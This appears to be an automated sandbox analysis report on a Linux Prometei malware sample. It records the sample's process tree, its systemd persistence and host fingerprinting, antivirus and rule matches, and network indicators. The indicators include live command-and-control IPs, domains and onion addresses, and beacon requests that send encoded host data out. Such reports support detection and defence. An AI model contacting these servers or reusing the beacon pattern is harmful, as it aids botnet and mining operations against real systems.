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Linux Analysis Report
na.elf

Overview

General Information

Sample name:na.elf
Analysis ID:1641062
MD5:31c821424d2b8246786682d28af24c3d
SHA1:8e9ce83e379203a896eb1e6de1eabe38644bd1b3
SHA256:1047fcea6de6563085cce4dfea647df8a5ea753b6358b85ac3d1be50a6fcf968
Tags:elfPrometeiuser-abuse_ch
Infos:

Detection

Prometei
Score:100
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Prometei
Drops files in suspicious directories
Executes the "dmidecode" command for reading DMI BIOS info like hardware or serial numbers (indicative of machine fingerprinting or VM-detection)
Found Tor onion address
Sample deletes itself
Sample is packed with UPX
Creates hidden files and/or directories
ELF contains segments with high entropy indicating compressed/encrypted content
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "pgrep" command search for and/or send signals to processes
Executes the "systemctl" command used for controlling the systemd system and service manager
Executes the "uname" command used to read OS and architecture name
HTTP GET or POST without a user agent
Reads CPU information from /proc indicative of miner or evasive malware
Reads CPU information from /sys indicative of miner or evasive malware
Reads system information from the proc file system
Sample contains only a LOAD segment without any section mappings
Sample listens on a socket
Sample tries to set the executable flag
Suricata IDS alerts with low severity for network traffic
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1641062
Start date and time:2025-03-18 02:20:21 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 42s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:na.elf
Detection:MAL
Classification:mal100.troj.evad.linELF@0/5@3/0
Command:/tmp/na.elf
PID:5737
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Starting...
System install...OK
Standard Error:Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.
  • system is lnxubuntu20
  • na.elf (PID: 5737, Parent: 5543, MD5: 31c821424d2b8246786682d28af24c3d) Arguments: /tmp/na.elf
    • na.elf New Fork (PID: 5740, Parent: 5737)
    • sh (PID: 5740, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep na.elf"
      • sh New Fork (PID: 5741, Parent: 5740)
      • pgrep (PID: 5741, Parent: 5740, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep na.elf
    • na.elf New Fork (PID: 5744, Parent: 5737)
    • sh (PID: 5744, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof na.elf"
      • sh New Fork (PID: 5745, Parent: 5744)
      • pidof (PID: 5745, Parent: 5744, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof na.elf
    • na.elf New Fork (PID: 5749, Parent: 5737)
    • sh (PID: 5749, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep uplugplay"
      • sh New Fork (PID: 5750, Parent: 5749)
      • pgrep (PID: 5750, Parent: 5749, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep uplugplay
    • na.elf New Fork (PID: 5753, Parent: 5737)
    • sh (PID: 5753, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof uplugplay"
      • sh New Fork (PID: 5754, Parent: 5753)
      • pidof (PID: 5754, Parent: 5753, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof uplugplay
    • na.elf New Fork (PID: 5757, Parent: 5737)
    • sh (PID: 5757, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep upnpsetup"
      • sh New Fork (PID: 5758, Parent: 5757)
      • pgrep (PID: 5758, Parent: 5757, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep upnpsetup
    • na.elf New Fork (PID: 5763, Parent: 5737)
    • sh (PID: 5763, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof upnpsetup"
      • sh New Fork (PID: 5764, Parent: 5763)
      • pidof (PID: 5764, Parent: 5763, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof upnpsetup
    • na.elf New Fork (PID: 5765, Parent: 5737)
    • sh (PID: 5765, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"
      • sh New Fork (PID: 5766, Parent: 5765)
      • systemctl (PID: 5766, Parent: 5765, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload
    • na.elf New Fork (PID: 5770, Parent: 5737)
    • sh (PID: 5770, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable uplugplay.service"
      • sh New Fork (PID: 5771, Parent: 5770)
      • systemctl (PID: 5771, Parent: 5770, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable uplugplay.service
    • na.elf New Fork (PID: 5775, Parent: 5737)
    • sh (PID: 5775, Parent: 5737, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start uplugplay.service"
      • sh New Fork (PID: 5776, Parent: 5775)
      • systemctl (PID: 5776, Parent: 5775, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start uplugplay.service
  • systemd New Fork (PID: 5768, Parent: 5767)
  • snapd-env-generator (PID: 5768, Parent: 5767, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • systemd New Fork (PID: 5773, Parent: 5772)
  • snapd-env-generator (PID: 5773, Parent: 5772, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • systemd New Fork (PID: 5779, Parent: 1)
  • uplugplay (PID: 5779, Parent: 1, MD5: 31c821424d2b8246786682d28af24c3d) Arguments: /usr/sbin/uplugplay
    • uplugplay New Fork (PID: 5790, Parent: 5779)
      • sh (PID: 5791, Parent: 5790, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/usr/sbin/uplugplay -Dcomsvc"
        • sh New Fork (PID: 5792, Parent: 5791)
        • uplugplay (PID: 5792, Parent: 5791, MD5: 31c821424d2b8246786682d28af24c3d) Arguments: /usr/sbin/uplugplay -Dcomsvc
          • sh (PID: 5796, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl
            • sh New Fork (PID: 5797, Parent: 5796)
            • hostnamectl (PID: 5797, Parent: 5796, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl
          • sh (PID: 5927, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl
            • sh New Fork (PID: 5938, Parent: 5927)
            • hostnamectl (PID: 5938, Parent: 5927, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl
          • sh (PID: 5941, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "dmidecode --type baseboard"
            • sh New Fork (PID: 5945, Parent: 5941)
            • dmidecode (PID: 5945, Parent: 5941, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode --type baseboard
          • sh (PID: 5944, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime
            • sh New Fork (PID: 5946, Parent: 5944)
            • uptime (PID: 5946, Parent: 5944, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime
          • sh (PID: 5949, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"
            • sh New Fork (PID: 5950, Parent: 5949)
            • uname (PID: 5950, Parent: 5949, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a
          • sh (PID: 5953, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c dmidecode
            • sh New Fork (PID: 5954, Parent: 5953)
            • dmidecode (PID: 5954, Parent: 5953, MD5: 37284ba29446fb2dadf1ce80f8139c1a) Arguments: dmidecode
          • sh (PID: 5957, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime
            • sh New Fork (PID: 5958, Parent: 5957)
            • uptime (PID: 5958, Parent: 5957, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime
          • sh (PID: 5961, Parent: 5792, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"
            • sh New Fork (PID: 5962, Parent: 5961)
            • uname (PID: 5962, Parent: 5961, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a
  • systemd New Fork (PID: 5798, Parent: 1)
  • systemd-hostnamed (PID: 5798, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed
  • cleanup
SourceRuleDescriptionAuthorStrings
na.elfLinux_Trojan_Dofloo_ac3333d1unknownunknown
  • 0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
SourceRuleDescriptionAuthorStrings
/usr/sbin/uplugplayLinux_Trojan_Dofloo_ac3333d1unknownunknown
  • 0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
SourceRuleDescriptionAuthorStrings
5737.1.0000000000401000.00000000004f9000.r-x.sdmpLinux_Hacktool_Flooder_1a4eb229unknownunknown
  • 0x9beb:$a: F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B
5737.1.0000000000401000.00000000004f9000.r-x.sdmpLinux_Hacktool_Flooder_f454ec10unknownunknown
  • 0xb569:$a: 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B
5737.1.000000000052d000.0000000001575000.rw-.sdmpLinux_Trojan_Dofloo_ac3333d1unknownunknown
  • 0x7190db:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
Process Memory Space: na.elf PID: 5737JoeSecurity_PrometeiYara detected PrometeiJoe Security
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2025-03-18T02:22:09.261948+010028033053Unknown Traffic192.168.2.1334338152.36.128.1880TCP
    2025-03-18T02:22:13.021703+010028033053Unknown Traffic192.168.2.1334340152.36.128.1880TCP

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: na.elfAvira: detected
    Source: /usr/sbin/uplugplayAvira: detection malicious, Label: LINUX/GM.Agent.JQ
    Source: na.elfReversingLabs: Detection: 47%
    Source: na.elfVirustotal: Detection: 26%Perma Link

    Bitcoin Miner

    barindex
    Source: Yara matchFile source: Process Memory Space: na.elf PID: 5737, type: MEMORYSTR
    Source: /usr/sbin/uplugplay (PID: 5792)Reads CPU info from proc file: /proc/cpuinfoJump to behavior
    Source: /usr/bin/pgrep (PID: 5741)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5758)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/uptime (PID: 5946)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/uptime (PID: 5958)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior

    Networking

    barindex
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: nNhttp://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?r=5&i=Z365QFP4YMZGET73 HTTP/1.0Host: 152.36.128.18
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCg0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIDIwOjIyOjExIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjMzLCAxLjU1LCAwLjY0fDE3NDIyNjA5MzENCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=Z365QFP4YMZGET73&h=galassia&enckey=pFzmmKV/epdgArDY+RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C+D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR+EIDjr2Uv6kUsb1rwIk= HTTP/1.0Host: 152.36.128.18
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=Z365QFP4YMZGET73&enckey=pFzmmKV/epdgArDY-RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C-D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR-EIDjr2Uv6kUsb1rwIk_ HTTP/1.0Host: xinchaobhcfda.net
    Source: /usr/sbin/uplugplay (PID: 5792)Socket: 0.0.0.0:89Jump to behavior
    Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:34338 -> 152.36.128.18:80
    Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:34340 -> 152.36.128.18:80
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: unknownTCP traffic detected without corresponding DNS query: 152.36.128.18
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?r=5&i=Z365QFP4YMZGET73 HTTP/1.0Host: 152.36.128.18
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCg0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIDIwOjIyOjExIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjMzLCAxLjU1LCAwLjY0fDE3NDIyNjA5MzENCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=Z365QFP4YMZGET73&h=galassia&enckey=pFzmmKV/epdgArDY+RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C+D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR+EIDjr2Uv6kUsb1rwIk= HTTP/1.0Host: 152.36.128.18
    Source: global trafficHTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=Z365QFP4YMZGET73&enckey=pFzmmKV/epdgArDY-RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C-D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR-EIDjr2Uv6kUsb1rwIk_ HTTP/1.0Host: xinchaobhcfda.net
    Source: global trafficDNS traffic detected: DNS query: xinchaobhcfda.com
    Source: global trafficDNS traffic detected: DNS query: xinchaobhcfda.net
    Source: na.elf, uplugplay.12.drString found in binary or memory: http://152.36.128
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: http://152.36.128.18/cgi-bin/p.cgi
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
    Source: na.elf, uplugplay.12.drString found in binary or memory: http://upx.sf.net
    Source: na.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpString found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

    System Summary

    barindex
    Source: na.elf, type: SAMPLEMatched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
    Source: 5737.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORYMatched rule: Linux_Hacktool_Flooder_1a4eb229 Author: unknown
    Source: 5737.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORYMatched rule: Linux_Hacktool_Flooder_f454ec10 Author: unknown
    Source: 5737.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORYMatched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
    Source: /usr/sbin/uplugplay, type: DROPPEDMatched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
    Source: LOAD without section mappingsProgram segment: 0x400000
    Source: na.elf, type: SAMPLEMatched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
    Source: 5737.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORYMatched rule: Linux_Hacktool_Flooder_1a4eb229 reference_sample = bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371, id = 1a4eb229-a194-46a5-8e93-370a40ba999b, last_modified = 2021-09-16
    Source: 5737.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORYMatched rule: Linux_Hacktool_Flooder_f454ec10 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = 2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da, id = f454ec10-7a67-4717-9e95-fecb7c357566, last_modified = 2022-01-26
    Source: 5737.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORYMatched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
    Source: /usr/sbin/uplugplay, type: DROPPEDMatched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
    Source: classification engineClassification label: mal100.troj.evad.linELF@0/5@3/0

    Data Obfuscation

    barindex
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $
    Source: /usr/bin/pidof (PID: 5745)Directory: //.Jump to behavior
    Source: /usr/bin/pidof (PID: 5754)Directory: //.Jump to behavior
    Source: /usr/bin/pidof (PID: 5764)Directory: //.Jump to behavior
    Source: /lib/systemd/systemd-hostnamed (PID: 5798)Directory: <invalid fd (10)>/..Jump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/230/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/230/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/110/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/110/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/231/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/231/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/111/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/111/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/232/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/232/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/112/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/112/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/233/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/233/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/113/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/113/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/234/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/234/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/114/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/114/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/235/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/235/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/115/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/115/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/236/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/236/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/116/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/116/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/237/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/237/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/117/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/117/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/238/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/238/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/118/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/118/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/239/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/239/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/119/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/119/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/914/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/914/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3634/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3634/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/10/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/10/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/917/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/917/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/11/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/11/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/12/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/12/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/13/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/13/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/14/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/14/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/15/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/15/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/16/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/16/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/17/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/17/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/18/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/18/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/19/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/19/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/240/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/240/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3095/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3095/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/120/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/120/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/241/statusJump to behavior
